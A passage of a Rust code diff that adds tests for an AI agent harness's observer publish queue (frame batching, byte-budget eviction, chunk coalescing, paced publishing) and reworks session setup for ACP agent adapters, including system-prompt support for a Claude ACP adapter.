+        let published: Vec<Vec<u64>> = frames.iter().map(frame_seqs).collect();
+        assert_eq!(
+            published,
+            [vec![1], vec![2], vec![3], vec![4]],
+            "seq 4 must not gather past the null barrier into frame 1"
+        );
+    }
+
+    /// The drain-rate regression Sami measured: with two channels strictly
+    /// alternating, a front-run packer degrades to ONE event per slot
+    /// (~275 B/s regardless of the 64KB frame budget). Queue-wide gathering
+    /// must drain an interleaved backlog in ~ceil(events / per-frame-fit)
+    /// slots per channel, not one slot per event.
+    #[test]
+    fn interleaved_channels_drain_at_bytes_per_slot_not_events_per_slot() {
+        let mut events = Vec::new();
+        for i in 0..100u64 {
+            events.push(event(2 * i + 1, "acp_read", Some("chan-a")));
+            events.push(event(2 * i + 2, "acp_read", Some("chan-b")));
+        }
+        let mut queue = queue_of(events);
+
+        let frames = drain_frames(&mut queue);
+        assert!(
+            frames.len() <= 4,
+            "200 tiny alternating events must gather into a few full frames, \
+             got {} (front-run packing would need 200 slots)",
+            frames.len()
+        );
+        for frame in &frames {
+            assert!(serialized_len(frame) <= OBSERVER_MAX_PLAINTEXT_LEN);
+        }
+        // Within each channel, FIFO order survives the gather.
+        let mut seqs_a = Vec::new();
+        let mut seqs_b = Vec::new();
+        for frame in &frames {
+            match frame.channel_id.as_deref() {
+                Some("chan-a") => seqs_a.extend(frame_seqs(frame)),
+                Some("chan-b") => seqs_b.extend(frame_seqs(frame)),
+                other => panic!("unexpected channel {other:?}"),
+            }
+        }
+        assert!(seqs_a.windows(2).all(|w| w[0] < w[1]), "chan-a FIFO");
+        assert!(seqs_b.windows(2).all(|w| w[0] < w[1]), "chan-b FIFO");
+        assert_eq!(seqs_a.len() + seqs_b.len(), 200, "nothing lost");
+    }
+
+    /// A same-channel backlog that cannot fit one 64KB frame splits across
+    /// SUCCESSIVE publish slots — never multiple frames from one slot — with
+    /// every frame under the cap and no event lost or reordered.
+    #[test]
+    fn oversized_backlogs_split_across_publish_slots_under_the_cap() {
+        let big_text = "x".repeat(30_000);
+        let mut queue = queue_of(
+            (1..=6)
+                .map(|seq| {
+                    let mut e = event(seq, "acp_read", Some("chan-a"));
+                    e.payload = serde_json::json!({ "seq": seq, "text": big_text });
+                    e
+                })
+                .collect(),
+        );
+
+        let frames = drain_frames(&mut queue);
+        assert!(
+            frames.len() > 1,
+            "six 30KB events cannot fit one 64KB frame"
+        );
+        let mut seen = Vec::new();
+        for frame in &frames {
+            assert!(
+                serialized_len(frame) <= OBSERVER_MAX_PLAINTEXT_LEN,
+                "every emitted frame must fit the plaintext cap"
+            );
+            seen.extend(frame_seqs(frame));
+        }
+        assert_eq!(
+            seen,
+            [1, 2, 3, 4, 5, 6],
+            "no event lost or reordered by splitting"
+        );
+    }
+
+    /// The queue preserves the coalescer's ordering rule: a non-chunk event
+    /// force-flushes pending chunk text ahead of itself, so merged chunks can
+    /// never leapfrog a tool call that arrived after them.
+    #[test]
+    fn non_chunk_events_flush_pending_chunks_ahead_of_themselves() {
+        fn chunk(seq: u64, text: &str) -> observer::ObserverEvent {
+            let mut e = event(seq, "acp_read", Some("chan-a"));
+            e.payload = serde_json::json!({
+                "params": { "update": {
+                    "sessionUpdate": "agent_message_chunk",
+                    "messageId": "m1",
+                    "content": { "text": text },
+                }}
+            });
+            e
+        }
+
+        let mut queue = ObserverPublishQueue::default();
+        queue.ingest(chunk(1, "hello "));
+        queue.ingest(chunk(2, "world"));
+        queue.ingest(event(3, "tool_call", Some("chan-a")));
+
+        let frame = queue.next_frame().expect("one frame");
+        assert!(queue.is_empty());
+        let inner = frame.payload["events"].as_array().expect("batch of 2");
+        assert_eq!(inner.len(), 2, "two chunks coalesce into one event");
+        assert_eq!(
+            inner[0]["payload"]["params"]["update"]["content"]["text"], "hello world",
+            "chunk text merged before the tool call"
+        );
+        assert_eq!(inner[1]["kind"], "tool_call");
+        assert!(inner[0]["seq"].as_u64() < inner[1]["seq"].as_u64());
+    }
+
+    /// Chunks still pending inside the coalescer (no non-chunk flushed them)
+    /// are picked up by the publish slot itself, not stranded.
+    #[test]
+    fn a_publish_slot_flushes_pending_coalesced_chunks() {
+        let mut e = event(1, "acp_read", Some("chan-a"));
+        e.payload = serde_json::json!({
+            "params": { "update": {
+                "sessionUpdate": "agent_message_chunk",
+                "messageId": "m1",
+                "content": { "text": "buffered" },
+            }}
+        });
+        let mut queue = ObserverPublishQueue::default();
+        queue.ingest(e);
+        assert!(!queue.is_empty(), "pending chunk counts as queued work");
+
+        let frame = queue.next_frame().expect("chunk must ship");
+        assert!(queue.is_empty());
+        assert_eq!(
+            frame.payload["params"]["update"]["content"]["text"],
+            "buffered"
+        );
+    }
+
+    /// Sami's ceiling assertion: when sustained input outruns the one-frame
+    /// drain budget for longer than the queue's byte budget, the OLDEST events
+    /// drop with accounting — never silently — and everything that survives
+    /// publishes in order with nothing else lost.
+    #[test]
+    fn over_budget_floods_drop_oldest_with_accounting() {
+        let big_text = "y".repeat(10_000);
+        let total = 500usize; // ~5MB of ~10KB events > 4MiB budget
+        let mut queue = ObserverPublishQueue::default();
+        for seq in 1..=total as u64 {
+            let mut e = event(seq, "acp_read", Some("chan-a"));
+            e.payload = serde_json::json!({ "seq": seq, "text": big_text });
+            queue.ingest(e);
+        }
+
+        assert!(
+            queue.dropped_events > 0,
+            "a 5MB backlog must overflow the 4MiB budget"
+        );
+        assert!(
+            walked_retained_bytes(&queue) <= OBSERVER_PENDING_QUEUE_MAX_BYTES,
+            "eviction must restore the byte budget (entry-walked), got {}",
+            walked_retained_bytes(&queue)
+        );
+
+        let frames = drain_frames(&mut queue);
+        let published: Vec<u64> = frames.iter().flat_map(frame_seqs).collect();
+        let expected: Vec<u64> = (queue.dropped_events + 1..=total as u64).collect();
+        assert_eq!(
+            published, expected,
+            "exactly the oldest `dropped_events` events are missing; the rest \
+             publish in order"
+        );
+        assert_eq!(
+            published.len() as u64 + queue.dropped_events,
+            total as u64,
+            "accounting: published + dropped == ingested"
+        );
+    }
+
+    /// Max's coalescer-bypass regression: a flood of chunks with DISTINCT
+    /// messageIds never flushes on its own, so every chunk sits in the
+    /// coalescer's pending buffer. TRUE retained bytes — walked from the
+    /// entries, never the queue's own accumulator — MUST respect the byte
+    /// budget with event-level drop accounting. Pre-fix this retained ~25MB
+    /// against the 4 MiB cap with `pending_bytes == 0` and zero drops; the
+    /// round-3 refinement (Sami/Max) caught the accumulator itself reading
+    /// under cap while true retention was 1.99x over.
+    #[test]
+    fn distinct_key_chunk_floods_are_bounded_by_the_byte_budget() {
+        let big_text = "z".repeat(50_000);
+        let total = 500u64; // ~25MB pending chunk text vs a 4MiB budget
+        let mut queue = ObserverPublishQueue::default();
+        for seq in 1..=total {
+            let mut e = event(seq, "acp_read", Some("chan-a"));
+            e.payload = serde_json::json!({
+                "jsonrpc": "2.0",
+                "method": "session/update",
+                "params": {
+                    "sessionId": "session-1",
+                    "update": {
+                        "sessionUpdate": "agent_message_chunk",
+                        "messageId": format!("message-{seq}"),
+                        "content": { "type": "text", "text": big_text },
+                    },
+                },
+            });
+            queue.ingest(e);
+        }
+
+        let walked = walked_retained_bytes(&queue);
+        assert!(
+            walked <= OBSERVER_PENDING_QUEUE_MAX_BYTES,
+            "TRUE retained bytes (walked from entries) must respect the cap, \
+             got {walked}"
+        );
+        assert!(
+            queue.total_pending_bytes() >= walked,
+            "the accumulator must never under-count true retention \
+             (accumulator {} < walked {walked})",
+            queue.total_pending_bytes()
+        );
+        assert!(
+            queue.dropped_events > 0,
+            "a ~25MB distinct-key chunk flood must record drops"
+        );
+        // Event-level accounting: everything that survives publishes, and
+        // survivors + dropped == ingested.
+        let frames = drain_frames(&mut queue);
+        let survived: u64 = frames.iter().map(|f| frame_seqs(f).len() as u64).sum();
+        assert_eq!(
+            survived + queue.dropped_events,
+            total,
+            "accounting: published + dropped == ingested"
+        );
+        // The survivors are the NEWEST events (drop-oldest).
+        let last_frame_seqs = frame_seqs(frames.last().expect("frames"));
+        assert_eq!(*last_frame_seqs.last().expect("seqs"), total);
+    }
+
+    /// Max's merged-chunk accounting regression: one coalescer entry can
+    /// represent MANY generated observer events (same-messageId chunks merge
+    /// in place), so evicting it must charge every merged source event to
+    /// `dropped_events`, not 1 per retained entry. Pre-fix, evicting an entry
+    /// that merged 50 chunks recorded `dropped_events == 1` and 49 generated
+    /// events vanished from the accounting.
+    #[test]
+    fn evicting_a_merged_chunk_entry_accounts_every_source_event() {
+        fn chunk(seq: u64, message_id: &str, text: &str) -> observer::ObserverEvent {
+            let mut e = event(seq, "acp_read", Some("chan-a"));
+            e.payload = serde_json::json!({
+                "jsonrpc": "2.0",
+                "method": "session/update",
+                "params": {
+                    "sessionId": "session-1",
+                    "update": {
+                        "sessionUpdate": "agent_message_chunk",
+                        "messageId": message_id,
+                        "content": { "type": "text", "text": text },
+                    },
+                },
+            });
+            e
+        }
+
+        let mut queue = ObserverPublishQueue::default();
+        // 50 × 1KB chunks under ONE messageId merge into a single pending
+        // coalescer entry — the oldest item anywhere in the queue.
+        let merged_text = "m".repeat(1_000);
+        let merged_sources = 50u64;
+        for seq in 1..=merged_sources {
+            queue.ingest(chunk(seq, "message-merged", &merged_text));
+        }
+        // Flood with distinct-key 50KB chunks until the byte budget evicts
+        // the oldest entries — the merged entry goes first.
+        let flood_text = "f".repeat(50_000);
+        let flood = 100u64;
+        for seq in 1..=flood {
+            queue.ingest(chunk(
+                merged_sources + seq,
+                &format!("message-{seq}"),
+                &flood_text,
+            ));
+        }
+
+        assert!(
+            walked_retained_bytes(&queue) <= OBSERVER_PENDING_QUEUE_MAX_BYTES,
+            "eviction must restore the byte budget (entry-walked), got {}",
+            walked_retained_bytes(&queue)
+        );
+        let frames = drain_frames(&mut queue);
+        assert!(
+            !frames
+                .iter()
+                .flat_map(frame_seqs)
+                .any(|seq| seq <= merged_sources),
+            "the merged entry (globally oldest) must have been evicted"
+        );
+        // Every survivor is an unmerged distinct-key chunk (1 source each),
+        // so source-event accounting must close exactly: the merged entry's
+        // eviction charges all 50 sources.
+        let survived: u64 = frames.iter().map(|f| frame_seqs(f).len() as u64).sum();
+        assert_eq!(
+            survived + queue.dropped_events,
+            merged_sources + flood,
+            "accounting: published sources + dropped sources == ingested"
+        );
+    }
+
+    /// Sami's M13 / Max's forced-flush probe: the OTHER eviction arm. A
+    /// merged entry FLUSHED into the publish FIFO (by a non-chunk event) must
+    /// still charge every absorbed source on eviction — the FIFO stores the
+    /// per-entry count precisely so the ledger survives flush. The
+    /// coalescer-side regression above never exercises this arm; mutating the
+    /// FIFO eviction to `dropped += 1` survived all 687 tests until this one.
+    #[test]
+    fn evicting_a_flushed_merged_entry_from_the_fifo_accounts_every_source_event() {
+        fn chunk(seq: u64, message_id: &str, text: &str) -> observer::ObserverEvent {
+            let mut e = event(seq, "acp_read", Some("chan-a"));
+            e.payload = serde_json::json!({
+                "jsonrpc": "2.0",
+                "method": "session/update",
+                "params": {
+                    "sessionId": "session-1",
+                    "update": {
+                        "sessionUpdate": "agent_message_chunk",
+                        "messageId": message_id,
+                        "content": { "type": "text", "text": text },
+                    },
+                },
+            });
+            e
+        }
+
+        let mut queue = ObserverPublishQueue::default();
+        // 50 × 1KB chunks merge under one messageId in the coalescer…
+        let merged_text = "m".repeat(1_000);
+        let merged_sources = 50u64;
+        for seq in 1..=merged_sources {
+            queue.ingest(chunk(seq, "message-merged", &merged_text));
+        }
+        // …then a non-chunk event force-flushes the merged entry into the
+        // publish FIFO. From here eviction happens on the FIFO arm.
+        queue.ingest(event(merged_sources + 1, "tool_call", Some("chan-a")));
+        assert!(
+            queue.coalescer.pending.is_empty(),
+            "the non-chunk event must have flushed the merged entry"
+        );
+        assert_eq!(
+            queue.events.front().expect("flushed entry queued").1,
+            merged_sources,
+            "the FIFO front must carry the merged source count"
+        );
+
+        // Distinct-key flood forces byte-budget eviction of the FIFO front.
+        let flood_text = "f".repeat(50_000);
+        let flood = 100u64;
+        for seq in 1..=flood {
+            queue.ingest(chunk(
+                merged_sources + 1 + seq,
+                &format!("message-{seq}"),
+                &flood_text,
+            ));
+        }
+
+        assert!(
+            walked_retained_bytes(&queue) <= OBSERVER_PENDING_QUEUE_MAX_BYTES,
+            "eviction must restore the byte budget (entry-walked), got {}",
+            walked_retained_bytes(&queue)
+        );
+        let frames = drain_frames(&mut queue);
+        assert!(
+            !frames
+                .iter()
+                .flat_map(frame_seqs)
+                .any(|seq| seq <= merged_sources),
+            "the flushed merged entry (globally oldest) must have been evicted"
+        );
+        // Ledger in source units: survivors are unmerged (1 source each), the
+        // evicted merged FIFO entry must charge all 50 sources.
+        let survived: u64 = frames.iter().map(|f| frame_seqs(f).len() as u64).sum();
+        let ingested = merged_sources + 1 + flood;
+        assert_eq!(
+            survived + queue.dropped_events,
+            ingested,
+            "accounting: published sources + dropped sources == ingested"
+        );
+    }
+
+    /// Under the byte budget the queue is lossless: every ingested event
+    /// publishes exactly once.
+    #[test]
+    fn under_budget_backlogs_are_lossless() {
+        let mut queue = queue_of(
+            (1..=200)
+                .map(|seq| event(seq, "acp_read", Some("chan-a")))
+                .collect(),
+        );
+        let frames = drain_frames(&mut queue);
+        let published: Vec<u64> = frames.iter().flat_map(frame_seqs).collect();
+        assert_eq!(published, (1..=200).collect::<Vec<u64>>());
+        assert_eq!(queue.dropped_events, 0);
+    }
+}
+
+#[cfg(test)]
+mod observer_publish_cadence_tests {
+    use super::*;
+    use nostr::Keys;
+
+    /// Let every spawned task (publisher loop, test_pair forwarder) run to
+    /// quiescence WITHOUT advancing paused time. `yield_now` keeps this task
+    /// runnable, so tokio's auto-advance never fires here — time only moves
+    /// when the test says so.
+    async fn settle() {
+        for _ in 0..64 {
+            tokio::task::yield_now().await;
+        }
+    }
+
+    fn recv_all(rx: &mut tokio::sync::mpsc::Receiver<nostr::Event>) -> Vec<nostr::Event> {
+        let mut out = Vec::new();
+        while let Ok(event) = rx.try_recv() {
+            out.push(event);
+        }
+        out
+    }
+
+    fn count_inner(owner: &Keys, event: &nostr::Event) -> usize {
+        let payload: serde_json::Value =
+            decrypt_observer_payload(owner, event).expect("decrypt frame");
+        match payload["payload"]["events"].as_array() {
+            Some(inner) => inner.len(),
+            None => 1,
+        }
+    }
+
+    fn emit_on(observer: &observer::ObserverHandle, channel: Option<uuid::Uuid>, marker: &str) {
+        observer.emit(
+            "test_event",
+            None,
+            &observer::context_for(channel, None, None),
+            serde_json::json!({ "marker": marker }),
+        );
+    }
+
+    /// THE regression Max demanded: with a backlog needing multiple frames
+    /// (two channels — a frame never mixes channels, so the backlog takes two
+    /// publish slots), no frame publishes before its tick. Startup publishes
+    /// NOTHING at t=0 (Sami's Finding 1: a full replay buffer must not burst
+    /// on reconnect), frame 1 arrives at +1s, frame 2 no earlier than +2s.
     #[tokio::test(start_paused = true)]
-    async fn starts_without_a_burst_and_spaces_frames() {
-        let started = tokio::time::Instant::now();
-        let mut pacer = ObserverPublishPacer::new();
+    async fn one_frame_per_second_and_no_startup_burst() {
+        let observer = observer::ObserverHandle::in_process();
+        let agent_keys = Keys::generate();
+        let owner_keys = Keys::generate();
+        let (publisher, mut published_rx) = RelayEventPublisher::test_pair();
+
+        // Interleave channels so the backlog cannot fit one frame: each run
+        // boundary forces a new publish slot.
+        let chan_a = uuid::Uuid::new_v4();
+        let chan_b = uuid::Uuid::new_v4();
+        emit_on(&observer, Some(chan_a), "a1");
+        emit_on(&observer, Some(chan_b), "b1");
+        emit_on(&observer, Some(chan_a), "a2");
+
+        let rx = observer.subscribe();
+        let snapshot = observer.snapshot();
+        assert_eq!(snapshot.len(), 3, "all three preloaded in the snapshot");
+
+        let task = tokio::spawn(run_relay_observer_publisher(
+            snapshot,
+            rx,
+            publisher,
+            agent_keys.clone(),
+            agent_keys.public_key().to_hex(),
+            owner_keys.public_key().to_hex(),
+            owner_keys.public_key(),
+        ));
+
+        // t=0: nothing may publish, no matter how full the snapshot was.
+        settle().await;
+        assert_eq!(
+            recv_all(&mut published_rx).len(),
+            0,
+            "startup must not burst at t=0"
+        );
+
+        // t=0.999s: still nothing.
+        tokio::time::advance(Duration::from_millis(999)).await;
+        settle().await;
+        assert_eq!(
+            recv_all(&mut published_rx).len(),
+            0,
+            "no frame may publish before the first tick"
+        );
+
+        // t=1s: exactly ONE frame — chan-a gathered queue-wide, so a1 AND a2
+        // ride the first slot together.
+        tokio::time::advance(Duration::from_millis(1)).await;
+        settle().await;
+        let frames = recv_all(&mut published_rx);
+        assert_eq!(frames.len(), 1, "tick 1 publishes exactly one frame");
+        assert_eq!(count_inner(&owner_keys, &frames[0]), 2, "a1 + a2 gathered");
+
+        // t=1.5s: between ticks, nothing.
+        tokio::time::advance(Duration::from_millis(500)).await;
+        settle().await;
+        assert_eq!(
+            recv_all(&mut published_rx).len(),
+            0,
+            "frame 2 must wait for tick 2"
+        );
 
-        pacer.wait().await;
-        let first = tokio::time::Instant::now();
-        pacer.wait().await;
-        let second = tokio::time::Instant::now();
+        // t=2s: the chan-b frame drains on its own tick.
+        tokio::time::advance(Duration::from_millis(500)).await;
+        settle().await;
+        assert_eq!(recv_all(&mut published_rx).len(), 1, "tick 2: one frame");
 
-        assert_eq!(first.duration_since(started), OBSERVER_PUBLISH_INTERVAL);
-        assert_eq!(second.duration_since(first), OBSERVER_PUBLISH_INTERVAL);
+        // Backlog drained; a quiet tick publishes nothing.
+        tokio::time::advance(Duration::from_secs(1)).await;
+        settle().await;
+        assert_eq!(recv_all(&mut published_rx).len(), 0, "quiet tick is quiet");
+
+        task.abort();
     }
 
+    /// Shutdown is NOT a burst bypass: when the producer closes with a
+    /// backlog, the remaining frames still publish one per tick, and the loop
+    /// exits only after the queue is empty — paced, lossless, in order.
+    #[tokio::test(start_paused = true)]
+    async fn shutdown_drain_is_paced_and_lossless() {
+        let observer = observer::ObserverHandle::in_process();
+        let agent_keys = Keys::generate();
+        let owner_keys = Keys::generate();
+        let (publisher, mut published_rx) = RelayEventPublisher::test_pair();
+
+        let chan_a = uuid::Uuid::new_v4();
+        let chan_b = uuid::Uuid::new_v4();
+        emit_on(&observer, Some(chan_a), "a1");
+        emit_on(&observer, Some(chan_b), "b1");
+        emit_on(&observer, Some(chan_a), "a2");
+
+        let rx = observer.subscribe();
+        let snapshot = observer.snapshot();
+        // Close the broadcast channel immediately: the entire drain happens
+        // in "shutdown" mode.
+        drop(observer);
+
+        let task = tokio::spawn(run_relay_observer_publisher(
+            snapshot,
+            rx,
+            publisher,
+            agent_keys.clone(),
+            agent_keys.public_key().to_hex(),
+            owner_keys.public_key().to_hex(),
+            owner_keys.public_key(),
+        ));
+
+        settle().await;
+        assert_eq!(
+            recv_all(&mut published_rx).len(),
+            0,
+            "shutdown drain must not burst at t=0"
+        );
+
+        let mut markers = Vec::new();
+        for tick in 1..=2 {
+            tokio::time::advance(Duration::from_secs(1)).await;
+            settle().await;
+            let frames = recv_all(&mut published_rx);
+            assert_eq!(frames.len(), 1, "shutdown tick {tick}: exactly one frame");
+            let payload: serde_json::Value =
+                decrypt_observer_payload(&owner_keys, &frames[0]).expect("decrypt");
+            match payload["payload"]["events"].as_array() {
+                Some(inner) => markers.extend(
+                    inner
+                        .iter()
+                        .map(|e| e["payload"]["marker"].as_str().unwrap().to_string()),
+                ),
+                None => markers.push(payload["payload"]["marker"].as_str().unwrap().to_string()),
+            }
+        }
+        // Gather-packing: chan-a (a1+a2) ships tick 1, chan-b tick 2.
+        assert_eq!(markers, ["a1", "a2", "b1"], "paced drain loses nothing");
+
+        // Queue empty + closed: the loop must have exited on its own.
+        tokio::time::advance(Duration::from_secs(1)).await;
+        settle().await;
+        assert!(task.is_finished(), "publisher exits after paced drain");
+    }
+
+    /// Pins `MissedTickBehavior::Skip` (Sami's M6 mutant): when the publisher
+    /// misses ticks — relay backpressure can stall the tick arm past several
+    /// deadlines, since `publish_event` awaits a bounded mpsc — the interval
+    /// must fire ONE catch-up tick and realign, not fire once per missed
+    /// deadline. With `Burst`, a 10s stall against a multi-frame backlog
+    /// would replay all 10 missed ticks back-to-back: an unpaced burst that
+    /// bypasses exactly what the pacer exists to prevent.
     #[tokio::test(start_paused = true)]
-    async fn limits_frames_in_each_rolling_minute() {
-        let mut pacer = ObserverPublishPacer::new();
-        pacer.wait().await;
-        let first = tokio::time::Instant::now();
-        for _ in 1..OBSERVER_PUBLISH_LIMIT_PER_MINUTE {
-            pacer.wait().await;
+    async fn missed_ticks_skip_instead_of_bursting() {
+        let observer = observer::ObserverHandle::in_process();
+        let agent_keys = Keys::generate();
+        let owner_keys = Keys::generate();
+        let (publisher, mut published_rx) = RelayEventPublisher::test_pair();
+
+        // Three channels => three frames pending (a frame never mixes
+        // channels), so a bursting interval would have work for every
+        // spurious catch-up tick.
+        for chan in 0..3 {
+            emit_on(&observer, Some(uuid::Uuid::new_v4()), &format!("c{chan}"));
         }
+        let rx = observer.subscribe();
+        let snapshot = observer.snapshot();
+
+        let task = tokio::spawn(run_relay_observer_publisher(
+            snapshot,
+            rx,
+            publisher,
+            agent_keys.clone(),
+            agent_keys.public_key().to_hex(),
+            owner_keys.public_key().to_hex(),
+            owner_keys.public_key(),
+        ));
+        settle().await;
 
-        pacer.wait().await;
-        let ninety_first = tokio::time::Instant::now();
+        // Jump 10 seconds in ONE advance — the loop was never polled in
+        // between, exactly like a stall across 10 deadlines.
+        tokio::time::advance(Duration::from_secs(10)).await;
+        settle().await;
+        assert_eq!(
+            recv_all(&mut published_rx).len(),
+            1,
+            "Skip: one catch-up frame after a stall — Burst would publish \
+             one per missed deadline"
+        );
 
-        assert_eq!(ninety_first.duration_since(first), Duration::from_secs(60));
+        // The interval realigned: the remaining backlog stays paced.
+        tokio::time::advance(Duration::from_secs(1)).await;
+        settle().await;
+        assert_eq!(recv_all(&mut published_rx).len(), 1, "paced after realign");
+
+        task.abort();
     }
 }
 
@@ -5061,9 +6231,14 @@ mod observer_chunk_coalescer_tests {
 
         let events = coalescer.ingest(non_chunk_event(3));
         assert_eq!(events.len(), 2);
-        assert_eq!(events[0].seq, 2);
-        assert_eq!(chunk_text(&events[0]), "hello world");
-        assert_eq!(events[1].kind, "turn_started");
+        assert_eq!(events[0].1.seq, 2);
+        assert_eq!(chunk_text(&events[0].1), "hello world");
+        assert_eq!(
+            events[0].0, 2,
+            "a merged entry reports every source chunk it absorbed"
+        );
+        assert_eq!(events[1].1.kind, "turn_started");
+        assert_eq!(events[1].0, 1);
     }
 
     #[test]
@@ -5084,8 +6259,8 @@ mod observer_chunk_coalescer_tests {
 
         let events = coalescer.flush();
         assert_eq!(events.len(), 2);
-        assert_eq!(chunk_text(&events[0]), "answer");
-        assert_eq!(chunk_text(&events[1]), "thinking");
+        assert_eq!(chunk_text(&events[0].1), "answer");
+        assert_eq!(chunk_text(&events[1].1), "thinking");
     }
 }
 
@@ -5129,7 +6304,7 @@ mod build_mcp_servers_tests {
             memory_enabled: false,
             model: None,
             session_title: None,
-            permission_mode: config::PermissionMode::BypassPermissions,
+            permission_mode: config::PermissionMode::DontAsk,
             respond_to: config::RespondTo::Anyone,
             dm_policy: config::DmPolicy::Anyone,
             respond_to_allowlist: std::collections::HashSet::new(),
@@ -5137,6 +6312,7 @@ mod build_mcp_servers_tests {
             persona_env_vars: vec![],
             has_generated_codex_config: false,
             relay_observer: false,
+            exit_after_inactivity_secs: 0,
             lazy_pool: false,
             agent_owner: None,
             no_base_prompt: false,
@@ -5505,7 +6681,7 @@ mod error_outcome_emission_tests {
             memory_enabled: false,
             model: None,
             session_title: None,
-            permission_mode: config::PermissionMode::BypassPermissions,
+            permission_mode: config::PermissionMode::DontAsk,
             respond_to: config::RespondTo::Anyone,
             dm_policy: config::DmPolicy::Anyone,
             respond_to_allowlist: HashSet::new(),
@@ -5513,6 +6689,7 @@ mod error_outcome_emission_tests {
             persona_env_vars: vec![],
             has_generated_codex_config: false,
             relay_observer: false,
+            exit_after_inactivity_secs: 0,
             lazy_pool: false,
             agent_owner: None,
             no_base_prompt: false,
diff --git a/crates/buzz-acp/src/pool.rs b/crates/buzz-acp/src/pool.rs
index dd97789306..067c80fd54 100644
--- a/crates/buzz-acp/src/pool.rs
+++ b/crates/buzz-acp/src/pool.rs
@@ -31,7 +31,8 @@ use uuid::Uuid;
 
 use crate::acp::{
     extract_model_config_options, extract_model_state, model_in_catalog,
-    resolve_model_switch_method, AcpClient, AcpError, McpServer, ModelSwitchMethod, StopReason,
+    resolve_model_switch_method, AcpClient, AcpError, EnvVar, McpServer, ModelSwitchMethod,
+    StopReason, SystemPromptTransport,
 };
 use crate::config::{compose_session_title, DedupMode, PermissionMode};
 use crate::observer;
@@ -224,6 +225,13 @@ pub struct OwnedAgent {
     pub protocol_version: u32,
 }
 
+/// Package name reported by `claude-agent-acp` in its `initialize` response.
+/// Any adapter reporting this name supports `_meta.systemPrompt: {append: ...}`
+/// on `session/new` — the feature landed in v0.6.0 (Oct 2025), before the
+/// `@zed-industries/claude-code-acp` → `@agentclientprotocol/claude-agent-acp`
+/// rename, so the new name is a reliable capability gate.
+const CLAUDE_AGENT_ACP_NAME: &str = "@agentclientprotocol/claude-agent-acp";
+
 fn has_system_prompt_support(
     protocol_version: u32,
     agent_name: &str,
@@ -231,20 +239,25 @@ fn has_system_prompt_support(
 ) -> bool {
     if agent_name == "goose" {
         goose_system_prompt_supported == Some(true)
+    } else if agent_name == CLAUDE_AGENT_ACP_NAME {
+        true
     } else {
         protocol_version >= 2
     }
 }
 
-fn session_new_system_prompt(
+fn session_new_system_prompt<'a>(
     is_goose: bool,
     protocol_version: u32,
-    prompt: Option<&str>,
-) -> Option<&str> {
-    if is_goose || protocol_version < 2 {
+    agent_name: &str,
+    prompt: Option<&'a str>,
+) -> Option<SystemPromptTransport<'a>> {
+    if is_goose || (protocol_version < 2 && agent_name != CLAUDE_AGENT_ACP_NAME) {
         None
+    } else if agent_name == CLAUDE_AGENT_ACP_NAME {
+        prompt.map(SystemPromptTransport::ClaudeMeta)
     } else {
-        prompt
+        prompt.map(SystemPromptTransport::Field)
     }
 }
 
@@ -1118,13 +1131,32 @@ const UNKNOWN_CHANNEL_NAME: &str = "unknown";
 async fn resolve_new_session_channel_context(
     channel_info: &ChannelInfoResolver,
     channel_id: Uuid,
-) -> (bool, Option<String>) {
+) -> (bool, Option<String>, Option<String>) {
     let Some(info) = channel_info.resolve(channel_id).await else {
-        return (true, None);
+        return (true, None, None);
     };
     let is_dm = info.channel_type == "dm";
     let title_channel = (!is_dm && info.name != UNKNOWN_CHANNEL_NAME).then_some(info.name);
-    (is_dm, title_channel)
+    (is_dm, title_channel, Some(info.channel_type))
+}
+
+/// What a brand-new ACP session is seeded with, beyond the agent and its
+/// `PromptContext`: the memory blocks to frame into the system prompt and the
+/// channel the session belongs to.
+///
+/// Grouped rather than passed loose so the heartbeat path can say "no channel,
+/// no memory" as `SessionSeed::default()` instead of five bare `None`s.
+#[derive(Default)]
+struct SessionSeed<'a> {
+    /// `[Agent Memory — core]` block, when the agent has one.
+    agent_core: Option<&'a str>,
+    /// `[Channel Canvas]` block for the originating channel.
+    agent_canvas: Option<&'a str>,
+    /// Channel name for the session title — `None` for DMs, unresolved and
+    /// unnamed channels, which then get an unqualified title.
+    channel_name: Option<&'a str>,
+    channel_id: Option<Uuid>,
+    channel_type: Option<&'a str>,
 }
 
 /// Create a new ACP session via `session_new_full()`, populate model capabilities
@@ -1136,9 +1168,7 @@ async fn resolve_new_session_channel_context(
 async fn create_session_and_apply_model(
     agent: &mut OwnedAgent,
     ctx: &PromptContext,
-    agent_core: Option<&str>,
-    agent_canvas: Option<&str>,
-    channel_name: Option<&str>,
+    seed: SessionSeed<'_>,
     session_mcp_servers: Vec<McpServer>,
 ) -> Result<String, AcpError> {
     // Build base_prompt + system_prompt + agent core + canvas metadata into a
@@ -1154,22 +1184,26 @@ async fn create_session_and_apply_model(
                 framed_system_prompt(&ctx.cwd, ctx.base_prompt, ctx.system_prompt.as_deref()),
                 ctx.team_instructions.as_deref(),
             ),
-            agent_core,
+            seed.agent_core,
         ),
-        agent_canvas,
+        seed.agent_canvas,
     );
 
     let session_title = ctx
         .session_title
         .as_deref()
-        .map(|agent_name| compose_session_title(agent_name, channel_name));
-
-    let mcp_servers = ctx
-        .mcp_servers
-        .iter()
-        .cloned()
-        .chain(session_mcp_servers)
-        .collect();
+        .map(|agent_name| compose_session_title(agent_name, seed.channel_name));
+    // Git-origin env goes on the configured servers only; the per-session
+    // browser server is addressed by its own activity id, not by git origin.
+    let mcp_servers: Vec<McpServer> = mcp_servers_with_git_origin(
+        &ctx.mcp_servers,
+        seed.channel_id,
+        seed.channel_type,
+        ctx.session_title.as_deref(),
+    )
+    .into_iter()
+    .chain(session_mcp_servers)
+    .collect();
     let resp = agent
         .acp
         .session_new_full(
@@ -1178,6 +1212,7 @@ async fn create_session_and_apply_model(
             session_new_system_prompt(
                 is_goose,
                 agent.protocol_version,
+                &agent.agent_name,
                 combined_system_prompt.as_deref(),
             ),
             session_title.as_deref(),
@@ -1266,7 +1301,7 @@ async fn create_session_and_apply_model(
     // Apply permission mode if not the agent's built-in default AND the agent
     // advertises the requested mode in session/new. Agents that don't support
     // the mode (e.g., goose crashes on unrecognized set_config_option values)
-    // are safely skipped — the harness auto-approves via handle_permission_request.
+    // are safely skipped — the harness rejects interactive permission requests.
     if !ctx.permission_mode.is_default()
         && agent_supports_mode(&resp.raw, ctx.permission_mode.as_wire_str())
     {
@@ -1276,6 +1311,34 @@ async fn create_session_and_apply_model(
     Ok(resp.session_id)
 }
 
+fn mcp_servers_with_git_origin(
+    servers: &[McpServer],
+    channel_id: Option<Uuid>,
+    channel_type: Option<&str>,
+    agent_name: Option<&str>,
+) -> Vec<McpServer> {
+    let mut servers = servers.to_vec();
